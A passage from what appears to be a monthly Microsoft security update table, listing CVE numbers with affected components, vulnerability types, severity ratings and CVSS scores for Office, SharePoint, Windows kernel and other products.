CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  